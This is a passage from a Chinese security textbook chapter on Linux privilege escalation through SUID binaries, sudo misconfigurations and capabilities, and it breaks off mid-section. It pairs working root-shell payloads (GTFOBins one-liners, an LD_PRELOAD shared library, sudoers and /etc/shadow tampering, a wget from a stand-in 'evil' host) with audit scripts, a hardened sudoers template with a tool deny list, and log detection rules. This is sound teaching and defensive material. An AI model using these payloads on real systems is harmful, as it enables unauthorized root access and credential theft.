新兴攻击面与专项安全 — 主机与内网渗透

📚 本册属于《13-新兴攻击面与专项安全-实战专题》共 7 册中的 第 3 册 本册内容:第六、七章:主机与操作系统安全、内网横向移动与域渗透(共 21,495 行)

全 7 册导航:

分册 内容 规模
00-开篇与名词速查 第 0 册 名词速查 A~F(读任何一章前先扫一眼) 263 行

| 01-应用层安全(AI·API) | 第 1 册 第一、二章:AI/LLM 应用安全、API 安全 | 10,138 行 | | 02-接口与客户端(GraphQL·移动·IoT) | 第 2 册 第三五章:GraphQL/gRPC、移动端、小程序、实时通信与 IoT | 21,168 行 | | 03-主机与内网渗透 | 第 3 册 第六、七章:主机与操作系统安全、内网横向移动与域渗透 | 21,495 行 ← 本册 | | 04-数字取证与供应链 | 第 4 册 第八、九章:数字取证与应急响应 DFIR、软件供应链安全 | 17,172 行 | | 05-云原生与Serverless | 第 5 册 第十章:新兴云原生与 Serverless 安全 | 12,063 行 | | 06-Web3·数据合规·实战·总汇 | 第 6 册 第十一十四章:Web3、数据合规、综合实战、全书总汇 | 3,709 行 |

术语看不懂?回 00-开篇与名词速查 或 00-名词速查手册 Ctrl+F。


第六章:主机与操作系统安全(从登录到提权到持久化)

本章定位:前五章讲的都是“应用层和协议层”——Web 漏洞、API 鉴权、MQTT 越权。 第六章往下沉一层,讲操作系统本身。

为什么必须懂主机安全?

完整的攻击链(Kill Chain):
  ① 侦察         → ② 初始访问(Web 漏洞 / 钓鱼 / 弱口令)
  → ③ 【拿到一个普通用户的 shell】
  → ④ 提权        ← ★ 本章重点:从 www-data 到 root
  → ⑤ 持久化      ← ★ 本章重点:重启后我还在
  → ⑥ 内网横向    ← 第七章
  → ⑦ 达成目标(拿数据 / 勒索 / 破坏)

主机是【必经之地】。不管攻击者从哪个入口进来,
最终都要落到某台主机的某个用户上。
所以主机安全水平直接决定了"被攻陷后的损失上限"。

而且主机安全有个残酷的现实:
  【拿不到 root 的漏洞,只是个麻烦;拿到 root,就是灭顶之灾】
  提权是把"麻烦"变成"灾难"的那一步。

本文档名词速查(第六章涉及)

名词 白话解释 出处
提权(Privilege Escalation) 从低权限用户变成高权限(通常是 root / SYSTEM) 6.1.2
横向提权 / 纵向提权 横向=拿到同级的其他账号;纵向=低权限升到高权限 6.1.2
持久化(Persistence) 重启后、改密码后、修漏洞后,攻击者的入口还在 6.3.1
后门(Backdoor) 绕过正常认证直接进入系统的通道 6.3.1
Rootkit 藏在内核里的后门,能隐藏进程/文件/网络连接 6.3.6
LKM 可加载内核模块(.ko 文件),Rootkit 的常见载体 6.3.6
SUID 文件的一个特殊权限位:执行时临时拥有文件主人的权限 6.2.2
SGID 同 SUID,但继承的是「组」的权限 6.2.2
Sticky Bit 目录的特殊位:只有文件主人才删得了自己的文件(/tmp 就是) 6.2.2
Capabilities 把 root 的超级权限拆成几十个小权限,可以单独授予 6.2.4
LD_PRELOAD 环境变量:程序运行前先加载我指定的动态库(可劫持函数) 6.2.6
PAM Linux 的认证框架,登录/ssh/su 都走它(也能被植入后门) 6.3.5
auditd Linux 的审计守护进程,能记录“谁在什么时候做了什么” 6.4.5
SELinux / AppArmor 强制访问控制(MAC):即使你是 root,也受策略限制 6.4.4
MAC / DAC 强制访问控制 vs 自主访问控制(传统的 rwx) 6.4.4
Dirty COW / Dirty Pipe 两个著名的 Linux 内核提权漏洞 6.2.7
PwnKit polkit 的提权漏洞(CVE-2021-4034),影响几乎所有 Linux 6.2.7
命名空间(Namespace) 容器的隔离基础:PID/网络/挂载等各自独立 6.6.1
cgroup 控制组:限制进程能用的 CPU/内存/IO 6.6.1
容器逃逸 从容器里跑出来,拿到宿主机的权限 6.6.2
HIDS / EDR 主机入侵检测 / 端点检测与响应(装在机器上的安全 agent) 6.4.8
UAC Windows 的用户账户控制(那个“是否允许此应用更改”的弹窗) 6.5.1
SID Windows 的安全标识符,每个用户/组/机器都有唯一 SID 6.5.1
令牌(Token) Windows 里代表“我是谁、我有什么权限”的凭证 6.5.1
Potato 系列 Windows 本地提权的一系列漏洞(利用令牌中继) 6.5.2
WMI Windows 管理规范,既能管机器也能当持久化载体 6.5.3
SYSVOL 域控上的共享目录,存组策略脚本(常被用来放后门) 6.5.5

6.1 先讲清楚:主机安全的三个核心问题

6.1.1 主机安全到底在防什么

一句话:主机安全防的是三件事——

① 提权(Privilege Escalation)
   攻击者已经进来了,但只是个低权限用户(www-data / tomcat / 普通员工账号)
   ↓ 防的是:他变成 root

② 持久化(Persistence)
   攻击者拿到了权限,但重启一次就没了
   ↓ 防的是:他留下来(重启后还在、改密码后还在、修漏洞后还在)

③ 痕迹清除(Anti-Forensics)
   攻击者干完活,不想被发现
   ↓ 防的是:他抹掉日志(我们要做的是让日志删不掉)

生活类比:

把主机想成一栋办公楼:

① 提权
   = 一个快递员(低权限)拿到了万能门禁卡(root)
   本来他只能进大厅,现在能进任何房间

② 持久化
   = 他配了一把自己的钥匙,还在消防通道贴了暗号
   你换锁、改门禁,他还是能进来

③ 痕迹清除
   = 他把监控录像删了,把访客登记本撕了
   你根本不知道他来过

防御对应:
   ① 提权   → 最小权限 + 补丁 + 内核加固
   ② 持久化 → 完整性监控(文件变了就知道)+ 启动项审计
   ③ 痕迹   → 日志实时外发到 SIEM(本机删了没用)

6.1.2 提权的两个方向

┌──────────────────────────────────────────────────┐
│  纵向提权(Vertical Escalation)                  │
│  ★ 本章主要讲这个                                  │
│                                                    │
│    www-data  ──→  root                             │
│    dba       ──→  oracle                           │
│    普通域用户 ──→  域管理员                         │
│                                                    │
│  从"低"到"高",权限等级往上爬                       │
└──────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────┐
│  横向提权(Horizontal Escalation)                 │
│  ★ 第七章(内网横向移动)主要讲这个                 │
│                                                    │
│    员工A 的账号  ──→  员工B 的账号                  │
│    主机1        ──→  主机2                          │
│    普通域用户    ──→  财务的域用户                   │
│                                                    │
│  权限等级没变,但拿到的东西变了                     │
│  (横向往往是为了最终纵向)                         │
└──────────────────────────────────────────────────┘

真实攻击里的组合拳:

打进一台边缘机器(Web 服务器,拿到 www-data)
   ↓ 纵向提权
拿到 root(本机沦陷)
   ↓ 从内存/配置文件/密码管理器里掏凭据
拿到运维的 SSH 私钥 / 域用户密码
   ↓ 横向移动
登录跳板机 / 其他服务器
   ↓ 再纵向提权
... 循环 ...
   ↓ 最终
域控 / 数据库 / 核心资产

所以:纵向是手段,横向是路径,最终目标是数据。

6.1.3 为什么 Linux 提权这么“容易”

Linux 权限模型的三个历史包袱:

① 一切皆文件 + rwx 权限太粗糙
   权限只有三种:读、写、执行
   主体只有三类:主人、组、其他人
   → 没法表达"这个用户只能读这个文件但不能复制"

② root 是"全有或全无"
   root 拥有所有权限(CAP_SYS_ADMIN 等 40+ 项)
   普通用户什么都没有
   → 想让一个程序只做一件特权事,只能给它完整的 root
   → 后来才有了 Capabilities(把 root 拆成小权限)

③ 为了兼容留下了大量"危险但方便"的机制
   - SUID(1970 年代的设计)
   - LD_PRELOAD(动态链接器的特性)
   - cron 用 root 跑脚本
   - sudo 免密配置
   → 每一个都可能成为提权跳板

★ 核心认知:

提权不是"攻破系统",是【利用系统自己的合法功能】。

SUID 提权 = 系统提供了一个"以 root 身份运行"的合法机制,
            只是这个程序恰好能执行任意命令

sudo 提权 = 管理员配置了一条"免密执行"的合法规则,
            只是这条规则恰好指向一个能逃逸的程序

cron 提权 = 管理员配置了一个"root 定期执行"的合法任务,
            只是这个脚本普通用户可写

内核提权 = 内核的一个合法功能(内存管理 / 文件映射)有 bug

★ 所以防御的关键不是"堵住某个 exploit",
  而是【减少这些危险机制的存在面】——
  不该有 SUID 的就不要有,不该免密的就不要免密,
  不该 root 跑的定时任务就换用户。

6.2 Linux 提权(十种姿势全解)

本节是第六章最核心的部分,面试高频。 我会按“原理 → 检测 → 利用 → 防御 → 面试话术”的结构讲每一种。

6.2.1 权限基础:rwx、SUID、SGID、Sticky

先讲清楚文件权限的 12 个位:

ls -la /usr/bin/passwd /tmp /usr/bin/sudo
# -rwsr-xr-x  1 root root    68208 /usr/bin/passwd
# drwxrwxrwt  10 root root    4096 /tmp
# -rwsr-xr-x  1 root root   166056 /usr/bin/sudo

# 拆解:-rwsr-xr-x
# 位置: 1234 567 890
#
#   第 1 位:文件类型
#     -  普通文件
#     d  目录
#     l  软链接
#     c  字符设备
#     b  块设备
#     s  socket
#     p  管道
#
#   第 2-4 位:主人权限(user)
#   第 5-7 位:组权限(group)
#   第 8-10 位:其他人权限(other)
#
#   ★ 第 11 位(隐藏在原本的 x 位里):特殊权限位

★ 三个特殊权限位(这是提权的关键):

特殊位 出现在 作用 白话 显示
SUID 文件的 user x 位 执行时临时获得文件主人的权限 “用 root 的身份证办这件事” rws(小写 s = 有 x)
rwS(大写 S = 没有 x,无效)
SGID 文件的 group x 位 执行时临时获得文件所属组的权限 “临时加入这个组” r-s / r-S
SGID 目录的 group x 位 目录里新建的文件继承目录的组 “这屋里建的东西都归这个组” drwxrws
Sticky 目录的 other x 位 只有文件主人能删自己的文件 “公共白板,谁写的谁擦” drwxrwxrwt

SUID 的生活类比:

普通文件(无 SUID):
  你的员工卡只能开你工位的门,用门禁系统开的门记录的是你

SUID 文件(比如 /usr/bin/passwd):
  这就像"员工自助改密码机"——
  你(普通用户)去操作它,但它是以【管理员身份】去改密码数据库的。
  否则普通用户根本没权限写 /etc/shadow。

  系统这样设计是必要的,因为改密码确实需要 root 权限。

  ★ 危险在哪?
     如果这个"改密码机"还能用来做别的事(比如执行任意命令),
     那普通用户就能借它的身份做任何 root 能做的事。

设置和查找:

# 设置 SUID
chmod u+s /path/file       # 符号模式
chmod 4755 /path/file      # 数字模式(4 = SUID)

# 设置 SGID
chmod g+s /path/file
chmod 2755 /path/file      # 2 = SGID

# 设置 Sticky
chmod +t /path/dir
chmod 1777 /path/dir       # 1 = Sticky

# ★ 查找所有 SUID 文件(提权排查第一步)
find / -perm -4000 -type f 2>/dev/null

# 查找所有 SGID 文件
find / -perm -2000 -type f 2>/dev/null

# 查找既可写又有 SUID 的文件(★ 最危险)
find / -perm -4000 -perm -0002 -type f 2>/dev/null

# 查找无主文件(可能是攻击者留下的)
find / -nouser -o -nogroup 2>/dev/null

6.2.2 ★ SUID 提权(最经典的姿势)

原理:

系统里有一些程序,为了让普通用户能完成需要 root 权限的操作,
设置了 SUID 位。执行这些程序时,进程的【有效 UID】变成 root。

合法用途:
  /usr/bin/passwd    改密码需要写 /etc/shadow
  /usr/bin/sudo      提权工具本身就是 SUID
  /bin/ping          需要原始套接字(raw socket)
  /usr/bin/su        切换用户需要 root 权限

★ 问题在于:
  有些程序虽然是 SUID,但功能太强——
  它们能执行外部命令、能读任意文件、能开 shell。

  那普通用户就能:
    执行这个程序 → 程序以 root 身份运行 → 让它执行 /bin/sh
    → 拿到 root shell

可利用的 SUID 程序清单(GTFOBins 的核心):

程序 利用方式 一句话 Payload
bash 直接 -p(保留特权) bash -p
sh / zsh 同 bash sh -p
find -exec 执行命令 find . -exec /bin/sh -p \; -quit
vim / vi :shell 或 :! vim -c ':!/bin/sh'
nano 能读文件 / 执行 nano → ^R^X → reset; sh 1>&0 2>&0
less / more ! 执行 shell less /etc/passwd → !/bin/sh
awk system() awk 'BEGIN {system("/bin/sh")}'
python os.system() python -c 'import os; os.execl("/bin/sh","sh","-p")'
perl exec perl -e 'exec "/bin/sh";'
ruby exec ruby -e 'exec "/bin/sh"'
cp / mv 覆盖敏感文件 cp /tmp/shadow /etc/shadow
tar --to-command tar cf /dev/null x --checkpoint=1 --checkpoint-action=exec=/bin/sh
nmap 老版本的 --interactive nmap --interactive → !sh
tcpdump -z 执行命令 tcpdump -i lo -w /dev/null -W 1 -G 1 -z /tmp/x.sh
wget 写文件到任意位置 wget http://evil/shadow -O /etc/shadow
aria2c --on-download-complete 同 tcpdump
env 执行任意程序 env /bin/sh -p
nice 同 env nice /bin/sh -p
time 同 env time /bin/sh -p
git help 分页器逃逸 git help status → !/bin/bash
ftp ! ftp → !/bin/sh
docker 容器逃逸 docker run -v /:/mnt -it alpine chroot /mnt sh
mount 挂载 + SUID shell 挂载一个含 SUID shell 的文件系统
chroot 配合其他
exim4 -be 执行 exim4 -be '${run{/bin/sh}}'

实战演示(find 提权):

# ===== 步骤 1:当前是低权限用户 =====
www-data@web01:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# ===== 步骤 2:查找 SUID 文件 =====
www-data@web01:/tmp$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find          ← ★ 这个不寻常!find 通常不是 SUID
/usr/bin/python3.8     ← ★ 这个更危险
/bin/ping

# ===== 步骤 3:利用 find 提权 =====
www-data@web01:/tmp$ find . -exec /bin/sh -p \; -quit
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
#                                  ↑★★★ euid=0 就是 root!

# 注意:uid 还是 33,但【euid(有效 UID)= 0】
# 有效 UID 才是决定权限的那个!

# ===== 为什么 -p 很重要 =====
# bash/sh 有个"安全机制":
#   如果发现【真实 UID ≠ 有效 UID】,会自动把有效 UID 降回真实 UID
#   (防止 SUID shell 被滥用)
# -p 参数 = 不降权(privileged mode),保留 euid=0
#
# 所以:
#   /bin/sh          → 自动降权,还是 www-data
#   /bin/sh -p       → 保持 euid=0,拿到 root ✅

# ===== 步骤 4:拿到真正的 root =====
# 方式 A:用 python 重新设置 uid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# 方式 B:写个 root 的 SUID 后门
cp /bin/bash /tmp/rootbash
chmod 4777 /tmp/rootbash
/tmp/rootbash -p

# 方式 C:直接改 root 密码(最粗暴,也最容易被发现)
echo 'root:hacked' | chpasswd

★ 为什么 euid 就够了(深入理解):

Linux 进程有三套 UID:
  - real UID (ruid)      真实 UID:谁启动的这个进程
  - effective UID (euid) 有效 UID:★ 权限检查看这个 ★
  - saved UID (suid)     保存的 UID:用于临时降权后再恢复

权限检查(比如能不能写 /etc/shadow)看的是【euid】。
所以只要 euid=0,就拥有 root 的所有权限。

这也是为什么 `id` 命令要显示两个:
  uid=33(www-data) euid=0(root)
                   ↑ 权限看这个

★ 面试常问:为什么有时候 id 显示 uid=33 却能干 root 的事?
  答案:看 euid。权限检查用 euid。

利用 GTFOBins 快速查找:

GTFOBins(https://gtfobins.github.io/)
= 一份"哪些 Unix 程序能用来提权/逃逸"的百科全书

用法:
  1. 找到 SUID 程序列表
  2. 逐个去 GTFOBins 查"这个程序 + SUID"的利用方式
  3. 复制粘贴 payload

★ 这是每个安全工程师都应该收藏的网站

防御:

#!/bin/bash
# ============================================
# SUID 安全审计与加固脚本
# ============================================

echo "===== 1. 列出所有 SUID 文件 ====="
find / -perm -4000 -type f 2>/dev/null | sort

echo ""
echo "===== 2. 对比基线,找出新增的 SUID 文件 ====="
# 基线文件:系统安装后生成一次,之后定期比对
BASELINE="/etc/security/suid_baseline.txt"

if [ ! -f "$BASELINE" ]; then
    echo "[!] 基线文件不存在,正在创建基线..."
    find / -perm -4000 -type f 2>/dev/null | sort > "$BASELINE"
    chmod 600 "$BASELINE"
    echo "[+] 基线已保存到 $BASELINE"
else
    find / -perm -4000 -type f 2>/dev/null | sort > /tmp/suid_current.txt
    NEW_FILES=$(comm -13 "$BASELINE" /tmp/suid_current.txt)

    if [ -n "$NEW_FILES" ]; then
        echo "[!!!] 发现新增的 SUID 文件(可能是后门):"
        echo "$NEW_FILES"
        # ★ 这里应该发告警
        logger -t security "ALERT: 新增 SUID 文件: $NEW_FILES"
    else
        echo "[+] 无新增 SUID 文件"
    fi

    REMOVED=$(comm -23 "$BASELINE" /tmp/suid_current.txt)
    if [ -n "$REMOVED" ]; then
        echo "[!] 有 SUID 文件被移除:"
        echo "$REMOVED"
    fi
    rm -f /tmp/suid_current.txt
fi

echo ""
echo "===== 3. 检查危险组合:SUID + 可写 ====="
DANGEROUS=$(find / -perm -4000 -perm -0002 -type f 2>/dev/null)
if [ -n "$DANGEROUS" ]; then
    echo "[!!!] 发现既可写又有 SUID 的文件(极度危险):"
    echo "$DANGEROUS"
else
    echo "[+] 无危险组合"
fi

echo ""
echo "===== 4. 检查不该有 SUID 的常见程序 ====="
# 这些程序正常情况【不应该】是 SUID
SHOULD_NOT_BE_SUID=(
    "find" "vim" "vi" "nano" "less" "more" "python" "python3"
    "perl" "ruby" "awk" "nmap" "tcpdump" "wget" "curl" "bash"
    "sh" "zsh" "env" "cp" "mv" "tar" "git" "ftp" "docker"
    "node" "php" "gcc" "make" "gdb" "strace" "ed" "ex"
)

for prog in "${SHOULD_NOT_BE_SUID[@]}"; do
    RESULT=$(find / -name "$prog" -perm -4000 -type f 2>/dev/null)
    if [ -n "$RESULT" ]; then
        echo "[!!!] 危险:$prog 是 SUID!"
        echo "      $RESULT"
        echo "      建议:chmod u-s $RESULT"
    fi
done

echo ""
echo "===== 5. 检查 SUID 文件的属主 ====="
# SUID 文件的属主必须是 root 或系统账号,不能是普通用户
find / -perm -4000 -type f ! -user root 2>/dev/null | while read f; do
    echo "[!!!] 非 root 属主的 SUID 文件: $f (属主: $(stat -c %U "$f"))"
done

echo ""
echo "===== 6. 加固建议 ====="
cat << 'EOF'
① 移除不必要的 SUID 位:
   chmod u-s /usr/bin/find

② 更好的做法:用 sudo 规则替代 SUID
   # /etc/sudoers.d/custom
   %operators ALL=(root) NOPASSWD: /usr/bin/find

③ 挂载文件系统时用 nosuid 选项(对 /tmp、/home 等)
   # /etc/fstab
   /tmp  /tmp  ext4  defaults,nosuid,noexec,nodev  0  2

④ 定期做基线比对(用 AIDE / Tripwire 自动化)

⑤ 用 auditd 监控 SUID 位的变化:
   -a always,exit -F arch=b64 -S chmod -S fchmod -S fchmodat -k suid_change
EOF

6.2.3 ★ Sudo 配置错误提权

Sudo 是什么:

白话:sudo 让普通用户“临时借用 root 身份”执行一条命令, 需要输入自己的密码(不是 root 密码), 而且 sudo 会记录日志(谁在什么时间执行了什么)。

生活类比: 公司有一把保险柜钥匙锁在玻璃柜里(需要权限), 员工可以打申请临时借用(sudo), 但每次借用都要登记(日志), 而且只能借来开保险柜,不能拿去配一把自己的(权限范围)。

sudoers 文件语法:

# /etc/sudoers 或 /etc/sudoers.d/xxx
#
# 基本语法:
#   谁    在哪台机器上 = (能以谁的身份)  是否需要密码: 能执行什么命令
#   user  host        = (runas)        tag:         command

# 例子:
root      ALL=(ALL:ALL) ALL
#   root 在任何主机上,能以任何用户/组的身份,执行任何命令

%sudo     ALL=(ALL:ALL) ALL
#   sudo 组的所有成员,能以任何身份执行任何命令(需输密码)

alice     ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx
#   alice 能以任何身份,【免密】执行 systemctl restart nginx

bob       ALL=(root) NOPASSWD: /usr/bin/find, /usr/bin/vim
#   ★ bob 能免密执行 find 和 vim —— 这就是提权漏洞!

%dev      ALL=(ALL) NOPASSWD: ALL
#   ★ dev 组能免密执行任何命令 = dev 组等价于 root

# 危险写法一览:
alice ALL=(ALL) NOPASSWD: /usr/bin/*
#   ★ 通配符!alice 可以:sudo /usr/bin/../../../bin/sh
#     或者把任意程序复制到 /usr/bin 下执行

alice ALL=(ALL) NOPASSWD: /usr/bin/vim /var/log/*.log
#   ★ 参数是通配符 → vim /var/log/../../etc/shadow

查看当前用户的 sudo 权限:

sudo -l

# 输出示例:
# User www-data may run the following commands on web01:
#     (root) NOPASSWD: /usr/bin/find
#     (ALL) NOPASSWD: /usr/bin/python3
# ★ 看到 NOPASSWD + 这些程序 = 稳了

五种常见的 sudo 提权:

# ========== 姿势 1:能 sudo 执行 shell ==========
sudo bash
sudo su
sudo -i                    # 模拟 root 登录(加载 root 的环境)
sudo /bin/sh

# ========== 姿势 2:能 sudo 执行可逃逸的程序(GTFOBins)==========
# 假设 sudo -l 显示:(root) NOPASSWD: /usr/bin/find
sudo find . -exec /bin/sh \; -quit

# 假设:(root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/sh'
# 或者
sudo vim /etc/shadow      # 直接读敏感文件

# 假设:(root) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import os; os.system("/bin/bash")'

# 假设:(root) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
# 然后输入 !/bin/sh

# 假设:(root) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/sh")}'

# 假设:(root) NOPASSWD: /usr/bin/env
sudo env /bin/sh

# 假设:(root) NOPASSWD: /usr/bin/nmap (老版本)
sudo nmap --interactive
# nmap> !sh

# 假设:(root) NOPASSWD: /usr/bin/git
sudo git -p help
# 然后输入 !/bin/bash

# 假设:(root) NOPASSWD: /usr/bin/tcpdump
echo 'cp /bin/bash /tmp/rootbash; chmod 4777 /tmp/rootbash' > /tmp/x.sh
chmod +x /tmp/x.sh
sudo tcpdump -i lo -w /dev/null -W 1 -G 1 -z /tmp/x.sh
/tmp/rootbash -p

# ========== 姿势 3:能 sudo 执行任意文件(通配符/路径穿越)==========
# 假设:(root) NOPASSWD: /usr/bin/*
# 利用 1:路径穿越
sudo /usr/bin/../../../bin/sh

# 利用 2:复制到 /usr/bin(如果可写)
cp /bin/sh /usr/bin/mysh
sudo /usr/bin/mysh

# ========== 姿势 4:sudo 环境变量劫持(LD_PRELOAD)==========
# 假设 sudoers 里有:Defaults env_keep += "LD_PRELOAD"
# 意思是 sudo 执行时保留 LD_PRELOAD 环境变量

cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
EOF

gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles

sudo LD_PRELOAD=/tmp/evil.so /usr/bin/find
# ★ find 以 root 运行,运行前先加载 evil.so → _init() 被调用 → root shell

# ========== 姿势 5:sudo 令牌复用(不需要密码)==========
# sudo 默认有个"宽限期":输过一次密码后 5~15 分钟内不用再输
# 如果攻击者拿到了一个刚用过 sudo 的用户 shell:

sudo -n /bin/bash      # -n = non-interactive,不提示输密码
# 如果还在宽限期内 → 直接拿到 root

# 检查 sudo 令牌
sudo -n true 2>/dev/null && echo "令牌有效" || echo "令牌已过期"

防御:安全的 sudoers 配置:

# ============================================
# sudoers 安全配置模板 /etc/sudoers.d/secure
# ============================================

# ---------- ① 全局安全默认值 ----------
Defaults    requiretty                  # 要求有 tty(防脚本自动 sudo)
Defaults    !visiblepw                  # 密码不回显
Defaults    always_set_home             # 总是设置 HOME(防 ~/.bashrc 劫持)
Defaults    env_reset                   # ★ 重置环境变量(防 LD_PRELOAD 等劫持)
Defaults    env_delete = "LD_PRELOAD LD_LIBRARY_PATH IFS"
Defaults    secure_path = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
Defaults    logfile = "/var/log/sudo.log"
Defaults    log_input, log_output       # 记录输入输出(可回放,但注意隐私)
Defaults    timestamp_timeout = 0       # ★ 每次都要输密码(关闭 5 分钟宽限)
Defaults    passwd_tries = 3
Defaults    lecture = always            # 首次使用显示安全提示
Defaults    umask = 0027

# ---------- ② 禁止危险的程序出现在 sudo 规则里 ----------
# ★ 这些程序绝不能出现在 sudoers 中(除非你非常清楚后果):
#   bash sh zsh ksh csh tcsh          所有 shell
#   su sudo                           提权工具本身
#   find vim vi nano ed ex less more  能执行外部命令的编辑器/查看器
#   python python3 perl ruby php node 所有脚本解释器
#   awk gawk sed                      文本处理(awk 有 system())
#   env nice time timeout stdbuf      能执行任意程序
#   cp mv dd tar zip unzip            文件操作(能覆盖系统文件)
#   wget curl nc netcat ftp scp       网络工具(能下载/反弹)
#   nmap tcpdump strace gdb           调试/抓包工具
#   git svn                           VCS(分页器逃逸)
#   chmod chown chgrp                 权限修改
#   mount umount                      挂载
#   docker kubectl                    容器(等于 root)
#   systemctl service                 服务管理(能创建恶意服务)

# ---------- ③ 正确的授权写法 ----------

# ❌ 错误:通配符太宽
# alice ALL=(ALL) NOPASSWD: /usr/bin/*

# ❌ 错误:参数没限制
# alice ALL=(ALL) NOPASSWD: /usr/bin/vim

# ✅ 正确:限定完整路径 + 限定参数 + 限定身份
alice web01=(root) NOPASSWD: /usr/bin/systemctl restart nginx.service

# ✅ 正确:限定单个文件(不能带参数)
bob web01=(root) NOPASSWD: /opt/scripts/backup.sh ""

# ✅ 正确:用 Cmnd_Alias 组织
Cmnd_Alias WEB_ADMIN = \
    /usr/bin/systemctl restart nginx.service, \
    /usr/bin/systemctl reload nginx.service, \
    /usr/bin/systemctl status nginx.service, \
    /usr/bin/nginx -t

%webadmins ALL=(root) WEB_ADMIN       # 注意:不加 NOPASSWD,要输密码

# ✅ 正确:用 runas 限定(只能以特定用户身份,不能是 root)
carol ALL=(nginx) NOPASSWD: /usr/bin/nginx -s reload

# ---------- ④ 用 sudo 做"降权"而不是"提权" ----------
# sudo 不只用来提权,也能用来降权(更安全)
# 例:以 nobody 身份运行不可信脚本
# www-data ALL=(nobody) NOPASSWD: /opt/scripts/untrusted.sh

# ---------- ⑤ 审计 ----------
# 启用 sudo 日志(记录到 syslog + 单独文件)
Defaults    logfile="/var/log/sudo.log"
Defaults    log_year
Defaults    log_host

sudo 日志分析:

# sudo 日志位置
#   Debian/Ubuntu: /var/log/auth.log
#   RHEL/CentOS:   /var/log/secure
#   或配置里指定的 /var/log/sudo.log

# 查看所有 sudo 使用记录
grep sudo /var/log/auth.log

# 典型日志格式:
# Sep  2 13:20:45 web01 sudo:  alice : TTY=pts/0 ; PWD=/home/alice ; USER=root ; COMMAND=/bin/bash
#                        ↑谁   ↑终端  ↑当前目录   ↑以谁身份      ↑执行了什么

# ★ 安全分析要点:
# ① COMMAND=/bin/bash 或 /bin/sh —— 有人在开 root shell(可疑)
# ② 非工作时间(凌晨)的 sudo —— 可疑
# ③ 从异常 IP/终端的 sudo —— 可疑
# ④ 失败的 sudo(密码错误)频繁 —— 爆破
# ⑤ sudo 执行 GTFOBins 上的程序 —— 提权尝试

# 告警规则示例
grep 'sudo:.*COMMAND=/bin/\(ba\)\?sh' /var/log/auth.log && \
    echo "警告:检测到 sudo 直接开 shell"

6.2.4 ★ Capabilities 提权(比 SUID 更隐蔽)

白话:

传统上,Linux 的权限只有两档:
  - root:全能(40+ 项特权)
  - 普通用户:什么特权都没有

问题是:我想让 /usr/bin/ping 只拥有"发原始网络包"这一项特权,
        不给它 root 的完整权限。

Capabilities 就是为此设计的:
  把 root 的特权拆成 40 多个独立的小权限,
  可以单独授予某个程序。

★ 但这也带来了新的提权面:
  如果一个程序被授予了某个危险的 capability,
  它就能做那件事——而很多 capability 等价于 root。

危险 Capabilities 清单:

Capability 作用 为什么危险 利用方式
CAP_SYS_ADMIN 几乎等于 root ★ 最危险 挂载文件系统、各种逃逸
CAP_SYS_PTRACE 能 ptrace 任意进程 ★ 可以注入任意进程 注入 root 进程拿 shell
CAP_DAC_READ_SEARCH 绕过文件读权限 ★ 能读任何文件 读 /etc/shadow
CAP_DAC_OVERRIDE 绕过文件权限检查 ★ 能写任何文件 改 /etc/passwd、改 sudoers
CAP_SETUID 能任意改 UID ★ 直接 setuid(0) → root
CAP_SETGID 能任意改 GID 改组
CAP_CHOWN 能改文件属主 把 /etc/shadow 改成自己
CAP_NET_RAW 原始套接字 可嗅探、可伪造包 中间人
CAP_NET_ADMIN 网络管理 改路由、改防火墙 流量劫持
CAP_SYS_MODULE 加载内核模块 ★ 直接加载 Rootkit 内核级后门
CAP_SYS_RAWIO 直接访问内存/磁盘 ★ 读内存、改磁盘 读任意进程内存
CAP_FOWNER 绕过文件属主检查 改任意文件权限

查找与利用:

# ========== ① 查找有 capability 的文件 ==========
getcap -r / 2>/dev/null

# 输出示例:
# /usr/bin/ping = cap_net_raw+ep
# /usr/bin/python3.8 = cap_setuid+ep      ← ★ 危险!
# /usr/bin/tar = cap_dac_read_search+ep   ← ★ 危险!
# /usr/bin/vim = cap_dac_override+ep      ← ★ 危险!

# 解释:
#   =ep  e = effective(生效)
#        p = permitted(允许)
#        i = inheritable(可继承)

# ========== ② 利用 CAP_SETUID ==========
# 场景:python3.8 有 cap_setuid
python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# id
# uid=0(root) gid=0(root) groups=0(root)   ← 直接 root!

# 其他语言同理:
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

# ========== ③ 利用 CAP_DAC_READ_SEARCH(读任意文件)==========
# 场景:tar 有 cap_dac_read_search
# 原理:这个 capability 允许绕过文件读权限和目录执行权限
tar -cvf shadow.tar /etc/shadow      # 打包出来
tar -xvf shadow.tar                  # 解包
cat etc/shadow                        # 读到 root 密码 hash

# 然后:hashcat 跑密码,或者改 /etc/passwd

# ========== ④ 利用 CAP_DAC_OVERRIDE(写任意文件)==========
# 场景:vim 有 cap_dac_override
# 原理:绕过所有文件权限检查 → 能写任何文件

vim /etc/passwd
# 把 root 行的密码改成已知密码,或者加一个 uid=0 的用户

# 或者写 sudoers
vim /etc/sudoers
echo "www-data ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

# ========== ⑤ 利用 CAP_SYS_PTRACE(注入进程)==========
# 场景:gdb 有 cap_sys_ptrace
# 原理:能 ptrace 任何进程 → 注入 shellcode 到 root 进程

# 找到一个 root 进程
ps aux | grep root | head

# 用 gdb 注入(需要目标进程可 ptrace)
gdb -p <root进程的PID>
# (gdb) call (void)execl("/bin/bash", "bash", "-p", (char *)0)

# 或者用 python + ptrace 库注入 shellcode

# ========== ⑥ 利用 CAP_SYS_ADMIN(挂载逃逸)==========
# 场景:某个程序有 cap_sys_admin + 能执行 mount
# 挂载一个包含 SUID shell 的文件系统
mkdir /tmp/escape
